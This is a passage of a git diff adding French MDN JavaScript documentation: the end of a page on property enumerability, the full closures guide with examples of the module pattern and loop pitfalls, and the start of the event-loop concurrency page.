+        <p><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertySymbols">getOwnPropertySymbols()</a></code></p>
+       </td>
+       <td><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertyNames">getOwnPropertyNames()</a></code> <code>- <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertySymbols">getOwnPropertySymbols()</a> </code>en utilisant <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/propertyIsEnumerable">propertyIsEnumerable()</a></code> afin d'exclure les propriétés énumérables</td>
+       <td>
+        <p><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertyNames">getOwnPropertyNames()</a></code></p>
+
+        <p><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertySymbols">getOwnPropertySymbols()</a></code></p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>Cette fonctionnalité n'est pas disponible sans code supplémentaire.</td>
+   <td>Cette fonctionnalité n'est pas disponible sans code supplémentaire.</td>
+  </tr>
+  <tr>
+   <td>Parcours</td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Énumérables</th>
+       <th scope="col">Non-énumérables</th>
+       <th scope="col">Toutes</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>
+        <p><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/keys">Object.keys()</a></code></p>
+
+        <p><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertyNames">getOwnPropertyNames()</a></code></p>
+
+        <p><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertySymbols">getOwnPropertySymbols()</a></code></p>
+       </td>
+       <td><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertyNames">getOwnPropertyNames()</a> - <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertySymbols">getOwnPropertySymbols()</a></code>en utilisant <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/propertyIsEnumerable">propertyIsEnumerable()</a></code> afin d'exclure les propriétés énumérables</td>
+       <td>
+        <p><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertyNames">getOwnPropertyNames()</a></code></p>
+
+        <p><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertySymbols">getOwnPropertySymbols()</a></code></p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Énumerables</th>
+       <th scope="col">Non-énumérables</th>
+       <th scope="col">Toutes</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...in">for..in</a></code></td>
+       <td>Cette fonctionnalité n'est pas disponible sans code supplémentaire.</td>
+       <td>Cette fonctionnalité n'est pas disponible sans code supplémentaire.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>Cette fonctionnalité n'est pas disponible sans code supplémentaire.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Obtenir_les_propriétés_selon_leur_caractère_énumérable_et_selon_leur_rattachement">Obtenir les propriétés selon leur caractère énumérable et selon leur rattachement</h2>
+
+<p>Dans la plupart des cas, ce n'est pas l'algorithme le plus efficace mais il est présenté ici à des fins explicatives.</p>
+
+<ul>
+ <li>On peut détecter la présence d'une propriété grâce à <code>RecuperateurDePropriete.laMethodeSouhaitee(obj).indexOf(prop) &gt; -1</code></li>
+ <li>On peut parcourir les propriétés souhaitées avec <code>RecuperateurDePropriete.laMethodeSouhaitee(obj).forEach(function (value, prop) {});</code> (on peut aussi utiliser <code>filter()</code>, <code>map()</code>, etc.)</li>
+</ul>
+
+<pre class="brush: js">var RecuperateurDePropriete = {
+    getOwnEnumerables: function (obj) {
+        return this._getPropertyNames(obj, true, false, this._enumerable);
+         // On pourrait également utiliser for..in qu'on filtre avec hasOwnProperty
+         // ou encore : return Object.keys(obj);
+    },
+    getOwnNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, true, false, this._notEnumerable);
+    },
+    getOwnEnumerablesAndNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, true, false, this._enumerableAndNotEnumerable);
+        // On peut également simplement utiliser : return Object.getOwnPropertyNames(obj);
+    },
+    getPrototypeEnumerables: function (obj) {
+        return this._getPropertyNames(obj, false, true, this._enumerable);
+    },
+    getPrototypeNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, false, true, this._notEnumerable);
+    },
+    getPrototypeEnumerablesAndNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, false, true, this._enumerableAndNotEnumerable);
+    },
+    getOwnAndPrototypeEnumerables: function (obj) {
+        return this._getPropertyNames(obj, true, true, this._enumerable);
+        // On pourra aussi utiliser for..in sans filtre
+    },
+    getOwnAndPrototypeNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, true, true, this._notEnumerable);
+    },
+    getOwnAndPrototypeEnumerablesAndNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, true, true, this._enumerableAndNotEnumerable);
+    },
+    // Fonctions de rappels statiques
+    _enumerable : function (obj, prop) {
+        return obj.propertyIsEnumerable(prop);
+    },
+    _notEnumerable : function (obj, prop) {
+        return !obj.propertyIsEnumerable(prop);
+    },
+    _enumerableAndNotEnumerable : function (obj, prop) {
+        return true;
+    },
+    // Inspirée par https://stackoverflow.com/a/8024294/271577
+    _getPropertyNames : function getAllPropertyNames(obj, iterateSelfBool, iteratePrototypeBool, includePropCb) {
+        var props = [];
+
+        do {
+            if (iterateSelfBool) {
+                Object.getOwnPropertyNames(obj).forEach(function (prop) {
+                    if (props.indexOf(prop) === -1 &amp;&amp; includePropCb(obj, prop)) {
+                        props.push(prop);
+                    }
+                });
+            }
+            if (!iteratePrototypeBool) {
+                break;
+            }
+            iterateSelfBool = true;
+        } while (obj = Object.getPrototypeOf(obj));
+
+        return props;
+    }
+};</pre>
+
+<h2 id="Tableau_de_détection">Tableau de détection</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="row"></th>
+   <th scope="col"><code>in</code></th>
+   <th scope="col"><code>for..in</code></th>
+   <th scope="col"><code>obj.hasOwnProperty()</code></th>
+   <th scope="col"><code>obj.propertyIsEnumerable()</code></th>
+   <th scope="col"><code>Object.keys()</code></th>
+   <th scope="col"><code>Object.getOwnPropertyNames()</code></th>
+   <th scope="col"><code>Object.getOwnPropertyDescriptors()</code></th>
+   <th scope="col"><code>Reflect.ownKeys()</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Propriétés énumérables</th>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriétés non-énumérables</th>
+   <td>true</td>
+   <td>false</td>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriétés dont les clés sont des symboles</th>
+   <td>true</td>
+   <td>false</td>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>true</td>
+   <td>true</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriétés héritées et énumérables</th>
+   <td>true</td>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriétés héritées et non-énumérables</th>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriétés héritées dont les clés sont des symboles</th>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_in">in</a></code></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...in">for..in</a></code></li>
+ <li>{{jsxref("Object.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Object.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptors()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/closures/index.html b/files/fr/web/javascript/closures/index.html
new file mode 100644
index 0000000000..f5f18a5133
--- /dev/null
+++ b/files/fr/web/javascript/closures/index.html
@@ -0,0 +1,369 @@
+---
+title: Closures (Fermetures)
+slug: Web/JavaScript/Closures
+tags:
+  - Closure
+  - Intermédiaire
+  - JavaScript
+translation_of: Web/JavaScript/Closures
+---
+<div>{{jsSidebar("Intermediate")}}</div>
+
+<div class="summary">
+<p>Une <strong>fermeture </strong>est la paire formée d'une fonction et des références à son état environnant (<strong>l'environnement lexical</strong>). En d'autres termes, une fermeture donne accès à la portée d'une fonction externe à partir d'une fonction interne (on dit aussi que la fonction « capture son environnement »). En JavaScript, une fermeture est créée chaque fois qu'une fonction est créée.</p>
+</div>
+
+<h2 id="Portée">Portée</h2>
+
+<p>Dans l'exemple suivant :</p>
+
+<pre class="brush: js">function init() {
+  var nom = "Mozilla"; // nom est une variable locale de init
+  function afficheNom() { // afficheNom est une fonction interne de init
+    console.log(nom); // ici nom est une variable libre (définie dans la fonction parente)
+  }
+  afficheNom();
+};
+init();</pre>
+
+<p>La fonction <code>init</code> créé une variable locale <code>nom</code> et une fonction interne <code>afficheNom</code>. La fonction interne est seulement visible de l'intérieur de <code>init</code>. Contrairement à <code>init</code>, <code>afficheNom</code> ne possède pas de variable locale propre, mais elle utilise la variable <code>nom</code> de la fonction parente (ceci dit <code>afficheNom</code> pourrait utiliser ses variables locales propres si elle en avait).</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/78dg25ax/", "js,result", 250)}}</p>
+
+<p>Vous pouvez exécuter le code sur cette <a href="https://jsfiddle.net/4U5VD/">page</a> pour voir son fonctionnement. On a ici un exemple de portée lexicale : en JavaScript, la portée d'une variable est définie par son emplacement dans le code source (elle apparaît de façon <em>lexicale</em>), les fonctions imbriquées ont ainsi accès aux variables déclarées dans les portées parentes.</p>
+
+<h2 id="Fermeture">Fermeture</h2>
+
+<p>Étudions l'exemple suivant :</p>
+
+<pre class="brush: js">function creerFonction() {
+  var nom = "Mozilla";
+  function afficheNom() {
+    console.log(nom);
+  }
+  return afficheNom;
+}
+
+var maFonction = creerFonction();
+maFonction();
+</pre>
+
+<p>Ce code produit le même résultat que l'appel à <code>init()</code> étudié précédemment : "Mozilla" est affiché dans la console. L'intérêt de ce code est qu'une fermeture contenant la fonction <code>afficheNom</code> est renvoyée par la fonction parente, avant d'être exécutée.</p>
+
+<p>Le code continue à fonctionner, ce qui peut paraître contre-intuitif au regard de la syntaxe utilisée. Usuellement, les variables locales d'une fonction n'existent que pendant l'exécution d'une fonction. Une fois que <code>creerFonction()</code> a fini son exécution, on aurait pû penser que la variable <code>nom</code> n'est plus accessible. Cependant, le code fonctionne : en JavaScript, la variable est donc accessible d'une certaine façon.</p>
+
+<p>L'explication est la suivante : <code>maFonction</code> est une fermeture. La fermeture combine la fonction <code>afficheNom</code> et son environnement. Cet environnement est composé de toutes les variables locales accessibles (dans la portée) à la création de la fermeture. Ici <code>maFonction</code> est une fermeture qui contient la fonction <code>afficheNom</code> et une référence à la variable <code>var nom = "Mozilla"</code> qui existait lorsque la fermeture a été créée. L'instance de <code>afficheNom</code> conserve une référence à son environnement lexical, dans lequel <code>nom</code>  existe. Pour cette raison, lorsque <code>maFonction</code> est invoquée, la variable <code>nom</code> reste disponible et "Mozilla" est transmis à <code>console.log</code>.</p>
+
+<p>Voici un exemple un peu plus intéressant—une fonction <code>ajouterA</code> :</p>
+
+<pre class="brush: js">function ajouterA(x) {
+  return function(y) {
+    return x + y;
+  };
+};
+
+var ajouter_5 = ajouterA(5);
+var ajouter_10 = ajouterA(10);
+
+console.log(ajouter_5(2));  // 7
+console.log(ajouter_10(2)); // 12
+</pre>
+
+<p>On définit une fonction <code>ajouterA(x)</code> avec un seul argument <code>x</code> et qui renvoie une fonction anonyme. La fonction anonyme a un seul argument <code>y</code>, et renvoie la somme de <code>x</code> et <code>y</code>.</p>
+
+<p>La fonction <code>ajouterA</code> permet de créer des fermetures qui font la somme de leur argument et d'un nombre fixé. Dans l'exemple ci-dessus, on crée  <code>ajouter_5</code> et <code>ajouter_10</code>. Elles partagent la même fonction, mais des environnements différents. Dans <code>ajouter_5</code>, <code>x</code> vaut 5 ; dans <code>ajouter_10</code>, <code>x</code> vaut 10.</p>
+
+<h2 id="Les_fermetures_en_pratique">Les fermetures en pratique</h2>
+
+<p>On a vu la théorie décrivant les fermetures. Est-ce qu'elles sont utiles pour autant ? Une fermeture permet d'associer des données (l'environnement) avec une fonction qui agit sur ces données. On peut faire un parallèle avec la programmation orientée objet car les objets permettent d'associer des données (les propriétés) avec des méthodes.</p>
+
+<p>Ainsi, on peut utiliser une fermeture pour tout endroit où on utiliserait un objet et ce avec une seule méthode.</p>
+
+<p>Beaucoup de code JavaScript utilisé sur le Web gère des événements : on définit un comportement, puis on l'attache à un événement déclenché par l'utilisateur (tel un clic ou une frappe clavier). Notre code est généralement une fonction de rappel (ou <em>callback</em>) exécutée en réponse à l'événement.</p>
+
+<p>Voici un exemple concret : si on souhaite ajouter des boutons à une page afin d'ajuster la taille du texte, on pourrait définir la taille de police de l'élément <code>body</code> en pixels, et celles des autres éléments relativement à cette première taille grâce à l'unité <code>em</code> :</p>
+
+<pre class="brush: css">body {
+  font-family: Helvetica, Arial, sans-serif;
+  font-size: 12px;
+}
+
+h1 {
+  font-size: 1.5em;
+}
+h2 {
+  font-size: 1.2em;
+}
+</pre>
+
+<p>Les boutons vont ensuite changer la taille de la police de l'élément <code>body</code>, ce changement étant répercuté aux autres éléments grâce aux unités relatives.</p>
+
+<p>Voici le code JavaScript qui correspond :</p>
+
+<pre class="brush: js">function fabriqueRedimensionneur(taille) {
+  return function() {
+    document.body.style.fontSize = taille + 'px';
+  };
+};
+
+var taille12 = fabriqueRedimensionneur(12);
+var taille14 = fabriqueRedimensionneur(14);
+var taille16 = fabriqueRedimensionneur(16);
+</pre>
+
+<p><code>taille12</code>, <code>taille14</code>, et <code>taille16</code> sont désormais des fermetures qui peuvent, respectivement, redimensionner le texte de l'élément <code>body</code> à 12, 14, ou 16 pixels. On peut les attacher aux boutons de la façon suivantes :</p>
+
+<pre class="brush: js">document.getElementById('taille-12').onclick = taille12;
+document.getElementById('taille-14').onclick = taille14;
+document.getElementById('taille-16').onclick = taille16;
+</pre>
+
+<pre class="brush: html">&lt;a href="#" id="taille-12"&gt;12&lt;/a&gt;
+&lt;a href="#" id="taille-14"&gt;14&lt;/a&gt;
+&lt;a href="#" id="taille-16"&gt;16&lt;/a&gt;
+</pre>
+
+<p id=".7B.7BJSFiddleEmbed(.22https.3A.2F.2Fjsfiddle.net.2FvnkuZ.2F.22.2C_.22js.2Cresult.22.2C_200).7D.7D">{{JSFiddleEmbed("https://jsfiddle.net/vnkuZ/7726", "js,result", 200)}}</p>
+
+<h2 id="Émuler_des_méthodes_privées_avec_des_fermetures">Émuler des méthodes privées avec des fermetures</h2>
+
+<p>Certains langages de programmation, comme Java, permettent d'avoir des méthodes privées, c'est-à-dire qu'on ne peut les utiliser qu'au sein de la même classe.</p>
+
+<p>JavaScript ne permet pas de faire cela de façon native. En revanche, on peut émuler ce comportement grâce aux fermetures. Les méthodes privées ne sont pas seulement utiles en termes de restriction d'accès au code, elles permettent également de gérer un espace de nom (<em>namespace</em>) global qui isole les méthodes secondaires de l'interface publique du code ainsi rendu plus propre.</p>
+
+<p>Voici comment définir une fonction publique accédant à des fonctions et des variables privées en utilisant des fermetures. Cette façon de procéder est également connue comme le patron de conception <a href="https://en.wikipedia.org/wiki/Module_pattern">module</a> :</p>
+
+<pre class="brush: js">var compteur = (function() {
+  var compteurPrive = 0;
+  function changeValeur(val) {
+    compteurPrive += val;
+  }
+  return {
+    increment: function() {
+      changeValeur(1);
+    },
+    decrement: function() {
+      changeValeur(-1);
+    },
+    valeur: function() {
+      return compteurPrive;
+    }
+  };
+})();
+
+console.log(compteur.valeur()); /* Affiche 0 */
+compteur.increment();
+compteur.increment();
+console.log(compteur.valeur()); /* Affiche 2 */
+compteur.decrement();
+console.log(compteur.valeur()); /* Affiche 1 */
+</pre>
+
+<p>Il y a beaucoup de différences par rapport aux exemples précédents. Au lieu de retourner une simple fonction, on retourne un objet anonyme qui contient 3 fonctions. Et ces 3 fonctions partagent le même environnement. L'objet retourné est affecté à la variable <code>compteur</code>, et les 3 fonctions sont alors accessibles sous les noms <code>compteur.increment</code>, <code>compteur.decrement</code>, et <code>compteur.valeur</code>.</p>
+
+<p>L'environnement partagé vient du corps de la fonction anonyme qui est exécutée dès sa définition complète. L'environnement en question contient deux éléments privés : une variable <code>compteurPrive</code> et une fonction <code>changeValeur</code>. Aucun de ces deux éléments ne peut être utilisé en dehors de la fonction anonyme ; seules les trois fonctions renvoyées par la fonction anonyme sont publiques.</p>
+
+<p>Ces trois fonctions publiques sont des fermetures qui partagent le même environnement. Grâce à la portée lexicale, chacune a accès à<code> compteurPrive</code> et à <code>changeValeur</code>.</p>
+
+<p>On remarquera qu'on définit une fonction anonyme qui crée un compteur puis qu'on l'appelle immédiatement pour assigner le résultat à la variable <code>compteur</code>. On pourrait stocker cette fonction dans une variable puis l'appeler plusieurs fois afin de créer plusieurs compteurs.</p>
+
+<pre class="brush: js">var creerCompteur = function() {
+  var compteurPrive = 0;
+  function changeValeur(val) {
+    compteurPrive += val;
+  }
+  return {
+    increment: function() {
+      changeValeur(1);
+    },
+    decrement: function() {
+      changeValeur(-1);
+    },
+    valeur: function() {
+      return compteurPrive;
+    }
+  };
+};
+
+var compteur1 = creerCompteur();
+var compteur2 = creerCompteur();
+console.log(compteur1.valeur()); /* Affiche 0 */
+compteur1.increment();
+compteur1.increment();
+console.log(compteur1.valeur()); /* Affiche 2 */
+compteur1.decrement();
+console.log(compteur1.valeur()); /* Affiche 1 */
+console.log(compteur2.valeur()); /* Affiche 0 */
+</pre>
+
+<p>Ici on peut voir que chacun des deux compteurs est indépendant de l'autre. Un nouvel environnement est instancié à chaque appel <code>creerCompteur()</code>.</p>
+
+<p>L'utilisation de fermetures permet ainsi de bénéficier de certains concepts liés à la programmation orientée objet comme l'encapsulation et la dissimulation de données.</p>
+
+<h2 id="Les_fermetures_et_les_boucles_attention_au_mélange">Les fermetures et les boucles : attention au mélange</h2>
+
+<p>Avant que le mot clé <a href="/fr/docs/Web/JavaScript/Reference/Instructions/let"><code>let</code></a> ne soit introduit avec ECMAScript 2015, un problème se posait fréquemment lorsqu'on manipulait des fermetures au sein d'une boucle. Par exemple :</p>
+
+<pre class="brush: html">&lt;p id="aide"&gt;Des aides seront affichées ici&lt;/p&gt;
+&lt;p&gt;E-mail : &lt;input type="text" id="email" name="email"&gt;&lt;/p&gt;
+&lt;p&gt;Nom : &lt;input type="text" id="nom" name="nom"&gt;&lt;/p&gt;
+&lt;p&gt;Âge : &lt;input type="text" id="âge" name="âge"&gt;&lt;/p&gt;
+</pre>
+
+<pre class="brush: js">function afficherAide(aide) {
+  document.getElementById('aide').innerHTML = aide;
+}
+
+function preparerAide() {
+  var texteAide = [
+      {'id': 'email', 'aide': 'Votre adresse e-mail'},
+      {'id': 'nom', 'aide': 'Vos prénom et nom'},
+      {'id': 'âge', 'aide': 'Votre âge (plus de 16 ans requis)'}
+    ];
+
+  for (var i = 0; i &lt; texteAide.length; i++) {
+    var item = texteAide[i];
+    document.getElementById(item.id).onfocus = function() {
+      afficherAide(item.aide);
+    }
+  }
+}
+
+preparerAide();
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/8164/", "", 200)}}</p>
+
+<p>Lorsqu'on essaie ce code, on s'aperçoit qu'il ne fonctionne pas exactement comme on le souhaitait : en effet, quelque soit le champ sur lequel on se situe, c'est toujours le message d'aide concernant l'âge qui s'affiche.</p>
+
+<p>La cause de ce problème est que les fonctions attachées à <code>onfocus</code> sont des fermetures qui partagent le même environnement. À chaque itération de boucle, l'environnement de la fermeture créée contient une référence sur la même instance de la variable <code>item</code>. Ainsi, lorsque la fonction de rappel de <code>onfocus</code> est exécutée, la boucle a déjà été effectuée entièrement, et la variable <code>item</code> partagée par les trois fermetures pointe sur le dernier élément de <code>texteAide</code>.</p>
+
+<p>Une solution consiste à utiliser plus de fermetures et à appliquer une fabrique de fonction comme on a vu précédemment :</p>
+
+<pre class="brush: js">function afficheAide(aide) {
+  document.getElementById('aide').innerHTML = aide;
+}
+
+function creerCallbackAide(aide) {
+  return function() {
+    afficheAide(aide);
+  };
+}
+
+function prepareAide() {
+  var texteAide = [
+      {'id': 'email', 'aide': 'Votre adresse e-mail'},
+      {'id': 'nom', 'aide': 'Votre prénom et nom'},
+      {'id': 'âge', 'aide': 'Your age (you must be over 16)'}
+    ];
+
+  for (var i = 0; i &lt; texteAide.length; i++) {
+    var item = texteAide[i];
+    document.getElementById(item.id).onfocus = creerCallbackAide(item.aide);
+  }
+}
+
+prepareAide();
+</pre>
+
+<p>Voici une autre solution qui permet de ne pas utiliser plus de fermetures :</p>
+
+<pre class="brush: js">function afficheAide(aide) {
+  document.getElementById('aide').innerHTML = aide;
+}
+
+function prepareAide() {
+  var texteAide = [
+      {'id': 'email', 'aide': 'Votre adresse e-mail'},
+      {'id': 'nom', 'aide': 'Votre prénom et nom'},
+      {'id': 'âge', 'aide': 'Votre âge (vous devez être majeur)'}
+    ];
+
+  for (var i = 0; i &lt; texteAide.length; i++) {
+    let item = texteAide[i];
+    document.getElementById(item.id).onfocus = function() {
+      afficheAide(item.aide);
+    }
+  }
+}
+
+prepareAide();</pre>
+
+<p>Dans ce fragment de code, nous avons utilisé <code>let</code> au lieu de <code>var</code> afin que chaque fermeture soit liée avec les variable de bloc.</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/9573/", "", 300)}}</p>
+
+<p>Autrement, on aurait pu utiliser <code>forEach()</code> afin de parcourir le tableau <code>texteAide</code> et attacher un gestionnaire d'évènement sur chaque {{htmlelement("div")}} :</p>
+
+<pre class="brush: js">function afficheAide(aide) {
+  document.getElementById('aide').innerHTML = aide;
+}
+
+function prepareAide() {
+  var texteAide = [
+      {'id': 'email', 'aide': 'Votre adresse e-mail'},
+      {'id': 'nom', 'aide': 'Votre prénom et nom'},
+      {'id': 'âge', 'aide': 'Votre âge (vous devez être majeur)'}
+    ];
+
+  texteAide.forEach(function(texte) {
+      document.getElementById(texte.id).onfocus = function() {
+        afficheAide(texte.help);
+      }
+  });
+}
+
+prepareAide();</pre>
+
+<h2 id="Les_performances_et_les_fermetures">Les performances et les fermetures</h2>
+
+<p>Il est mal avisé de créer des fonctions imbriquées et des fermetures sans utilité. En effet, cela peut dégrader les performances en termes de vitesse d'exécution et de consommation de mémoire.</p>
+
+<p>Quand, par exemple, on crée un nouvel objet, les méthodes devraient être associées au prototype de l'objet et non pas définies dans le constructeur de l'objet. De cette façon, on évite que les méthodes soient réassignées à chaque fois qu'un nouvel objet est créé.</p>
+
+<p>Voici un exemple de la mauvaise façon de procéder :</p>
+
+<pre class="example-bad brush: js">function MonObjet(nom, message) {
+  this.nom = nom.toString();
+  this.message = message.toString();
+  this.getNom = function() {
+    return this.nom;
+  };
+
+  this.getMessage = function() {
+    return this.message;
+  };
+}
+</pre>
+
+<p>Le fragment de code précédent ne tire pas partie des avantages des fermetures. Il pourrait être mieux écrit ainsi :</p>
+
+<pre class="brush: js">function MonObjet(nom, message) {
+  this.nom = nom.toString();
+  this.message = message.toString();
+}
+MonObjet.prototype = {
+  getNom: function() {
+    return this.nom;
+  },
+  getMessage: function() {
+    return this.message;
+  }
+};
+</pre>
+
+<p>Cependant, redéfinir le prototype est déconseillé, donc encore meilleur serait d'ajouter les méthodes :</p>
+
+<pre class="brush: js">function MonObjet(nom, message) {
+  this.nom = nom.toString();
+  this.message = message.toString();
+}
+MonObjet.prototype.getNom = function() {
+  return this.nom;
+};
+MonObjet.prototype.getMessage = function() {
+  return this.message;
+};
+</pre>
+
+<p>Les deux derniers exemples permettent de voir que le prototype hérité est partagé par tous les objets construits et que les méthodes n'ont pas besoin d'être reconstruites pour chaque création d'objet. Veuillez consulter la page sur <a href="/fr/docs/Web/JavaScript/Guide/Le_mod%C3%A8le_objet_JavaScript_en_d%C3%A9tails">le modèle objet JavaScript en détails</a> pour plus d'informations.</p>
diff --git a/files/fr/web/javascript/concurrence_et_boucle_des_événements/index.html b/files/fr/web/javascript/concurrence_et_boucle_des_événements/index.html
new file mode 100644
index 0000000000..9924edecec
--- /dev/null
+++ b/files/fr/web/javascript/concurrence_et_boucle_des_événements/index.html
@@ -0,0 +1,154 @@
+---
+title: Gestion de la concurrence et boucle des événements
+slug: Web/JavaScript/Concurrence_et_boucle_des_événements
+tags:
+  - Avancé
+  - Guide
+  - JavaScript
+translation_of: Web/JavaScript/EventLoop
+---
+<div>{{jsSidebar("Advanced")}}</div>
+
+<p>JavaScript gère la concurrence grâce à une « boucle d'événements ». Ce modèle est différent de la gestion faite par des langages comme C ou Java.</p>
+
+<h2 id="Notions_liées_à_lexécution">Notions liées à l'exécution</h2>
+
+<p>Les sections qui suivent décrivent un modèle théorique. En réalité, les moteurs JavaScript implémentent et optimisent fortement la sémantique décrite ici.</p>
+
+<h3 id="Représentation_visuelle">Représentation visuelle</h3>
+
+<p style="text-align: center;"><img alt="Stack, heap, queue" src="/files/4617/default.svg" style="height: 270px; width: 294px;"></p>
+
+<h3 id="La_pile_dappels_stack">La pile d'appels (<em>stack</em>)</h3>
+
+<p>Les appels de fonction forment une pile de cadre (<em>frames</em>).</p>
+
+<pre class="brush: js notranslate">function f(b){
+  var a = 12;
+  return a + b + 35;
+}
+
+function g(x){
+  var m = 4;
+  return f(m * x);
+}
+
+console.log(g(21)); // affichera 131
+</pre>
+
+<p>Lors de l'appel à <code>g</code>, on crée un premier cadre contenant les arguments de <code>g</code> ainsi que les variables locales. Quand <code>g</code> appelle <code>f</code>, un deuxième cadre est créé et placé sur le premier et contient les arguments de <code>f</code> ainsi que les variables locales. Lorsque <code>f</code> a fini et renvoyé son résultat, le cadre correspondant (celui qui est sur le dessus) est retiré de la pile (il reste donc le cadre lié à l'appel de <code>g</code>). Quand <code>g</code> a fini grâce aux informations transmises, la pile devient vide.</p>
+
+<h3 id="Le_tas_heap">Le tas (<em>heap</em>)</h3>
+
+<p>Les objets sont alloués en mémoire dans un tas qui désigne une zone de la mémoire sans structure particulière.</p>
+
+<h3 id="La_file_queue">La file (<em>queue</em>)</h3>
+
+<p>Un environnement d'exécution JavaScript (<em>runtime</em>) contient une queue de messages à traiter. Chaque message est associé à une fonction. Lorsque la pile est vide ou a suffisamment d'espace, on retire un message de la queue et on le traite. Le traitement consiste à appeler la fonction associée au message (et donc à créer le cadre dans la pile d'appel). Le traitement d'un message est fini lorsque la pile d'appels redevient vide.</p>
+
+<h2 id="La_boucle_dévénements">La boucle d'événements</h2>
+
+<p>La boucle d'événement tire principalement son nom de son implémentation. Celle-ci ressemble à :</p>
+
+<pre class="brush: js notranslate">while (queue.attendreMessage()){
+  queue.traiterProchainMessage();
+}</pre>
+
+<p><code>queue.attendreMessage</code> est un fonction synchrone qui attend un message même s'il n'y en a aucun à traiter.</p>
+
+<h3 id="Traiter_de_A_à_Z_run-to-completion">Traiter de A à Z (<em>run-to-completion</em>)</h3>
+
+<p>Chaque message sera traité complètement avant tout autre message. Cela permet de savoir que, lorsqu'une fonction s'exécute, on ne peut pas observer l'exécution d'un autre code qui prendrait le pas (modifiant les données de la fonction par exemple). Le modèle de <em>thread</em> utilisé par le langage C, par exemple, que la fonction puisse être interrompue à tout moment pour permettre à un autre <em>thread</em> d'exécuter un autre code.</p>
+
+<p>Ce modèle possède un désavantage : lorsqu'un message prend trop de temps à être traité, l'application ne peut plus gérer les interactions utilisateur comme les clics ou le défilement. Généralement, le navigateur affiche alors « Le script met trop de temps à répondre ». Une bonne pratique consiste à rendre le traîtement de message le plus court possible et à découper le message problématique en plusieurs messages.</p>
+
+<h3 id="Lajout_de_messages">L'ajout de messages</h3>
+
+<p>Dans les navigateurs web, des messages sont ajoutés à chaque fois qu'un événement se produit et qu'un gestionnaire d'événements y est attaché. S'il n'y a pas d'écouteur (<em>listener</em>) pour intercepter l'événement, il est perdu. Ainsi, si on clique un élément qui possède un gestionnaire d'événements pour les clics, un message sera ajouté (il en va de même avec les autres événements).</p>
+
+<p>La fonction <code><a href="/fr/docs/DOM/window.setTimeout">setTimeout</a></code> est appelée avec deux arguments : un message à la suite de la queue et la durée à attendre (optionnelle, par défaut elle vaut 0). La durée représente le temps minimal à attendre avant que le message soit placé dans la queue. S'il n'y a pas d'autre message dans la queue, le message sera traîté directement. En revanche, s'il y a d'autres messages auparavant, le message de <code>setTimeout</code> devra attendre la fin du traîtement des messages précédents déjà présents dans la queue. C'est pourquoi le deuxième argument de cette fonction indique une durée minimum et non une durée garantie.</p>
+
+<div class="warning">
